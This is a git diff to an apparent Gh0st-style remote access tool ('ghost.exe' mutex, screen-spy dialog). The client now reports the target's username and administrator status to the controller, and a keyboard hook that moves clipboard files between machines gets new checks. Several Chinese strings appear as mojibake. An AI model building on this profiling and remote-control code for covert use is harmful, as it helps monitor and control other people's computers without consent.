diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 48fe2ea..00102b3 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -199,6 +199,7 @@ int main(int argc, const char *argv[]) HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe"); if (ERROR_ALREADY_EXISTS == GetLastError()) { CloseHandle(hMutex); + hMutex = NULL; #ifndef _DEBUG return -2; #endif diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 58697a8..1defcc6 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -261,6 +261,19 @@ std::string GetCurrentExeVersion() return "Unknown"; } + +std::string GetCurrentUserNameA() { + char username[256]; + DWORD size = sizeof(username); + + if (GetUserNameA(username, &size)) { + return std::string(username); + } + else { + return "Unknown"; + } +} + LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) { LOGIN_INFOR LoginInfor; @@ -338,6 +351,9 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn) LoginInfor.AddReserved(loc.c_str()); LoginInfor.AddReserved(pubIP.c_str()); LoginInfor.AddReserved(GetCurrentExeVersion().c_str()); + BOOL IsRunningAsAdmin(); + LoginInfor.AddReserved(GetCurrentUserNameA().c_str()); + LoginInfor.AddReserved(IsRunningAsAdmin()); return LoginInfor; } diff --git a/common/commands.h b/common/commands.h index febb287..6a483fc 100644 --- a/common/commands.h +++ b/common/commands.h @@ -767,6 +767,8 @@ enum LOGIN_RES { RES_CLIENT_LOC = 10, // 地理位置 RES_CLIENT_PUBIP = 11, // 公网地址 RES_EXE_VERSION = 12, // EXE版本 + RES_USERNAME = 13, // 电脑用户名称 + RES_ISADMIN = 14, // 是否具有管理员权限 RES_MAX, }; diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 806cf71..4e7b30c 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -2302,7 +2302,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) try { strIP = ContextObject->GetPeerName().c_str(); // 涓嶅悎娉曠殑鏁版嵁鍖 - if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR)) { + if (ContextObject->InDeCompressedBuffer.GetBufferLength() < sizeof(LOGIN_INFOR)) { char buf[100]; sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", strIP.GetString()); Mprintf(buf); @@ -3049,9 +3049,10 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult) CString strText; std::string expired = res[RES_EXPIRED_DATE]; expired = expired.empty() ? "" : " Expired on " + expired; - strText.Format(_T("鏂囦欢璺緞: %s%s %s\r\n绯荤粺淇℃伅: %s 浣 %s 鏍稿績 %s GB\r\n鍚姩淇℃伅: %s %s\r\n涓婄嚎淇℃伅: %s %d %s"), + strText.Format(_T("鏂囦欢璺緞: %s%s %s\r\n绯荤粺淇℃伅: %s 浣 %s 鏍稿績 %s GB\r\n鍚姩淇℃伅: %s %s %s%s\r\n涓婄嚎淇℃伅: %s %d %s"), res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + " 浣 ", res[RES_FILE_PATH], res[RES_EXE_VERSION], res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], startTime, expired.c_str(), + res[RES_USERNAME], res[RES_ISADMIN] == "1" ? "[绠$悊鍛榏" : res[RES_ISADMIN].IsEmpty() ? "" : "[闈炵鐞嗗憳]", ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str()); // 鑾峰彇榧犳爣浣嶇疆 @@ -3583,6 +3584,11 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam if (dlg) { if (dlg == operateWnd)break; + auto screen = (CScreenSpyDlg*)dlg; + if (!screen->m_bIsCtrl) { + Mprintf("銆怌trl+V銆 [鏈湴 -> 杩滅▼] 绐楀彛涓嶆槸鎺у埗鐘舵: %s\n", screen->m_IPAddress); + break; + } // [1] 鏈湴 -> 杩滅▼ auto files = GetClipboardFiles(); if (!files.empty()) @@ -3609,6 +3615,11 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam } else if (g_2015RemoteDlg->m_pActiveSession) { + auto screen = (CScreenSpyDlg*)(g_2015RemoteDlg->m_pActiveSession); + if (!screen->m_bIsCtrl) { + Mprintf("銆怌trl+V銆 [杩滅▼ -> 鏈湴] 绐楀彛涓嶆槸鎺у埗鐘舵: %s\n", screen->m_IPAddress); + break; + } // [2] 杩滅▼ -> 鏈湴 BYTE bToken[100] = {COMMAND_SCREEN_GET_CLIPBOARD}; std::string masterId = GetPwdHash(), hmac = GetHMAC(100);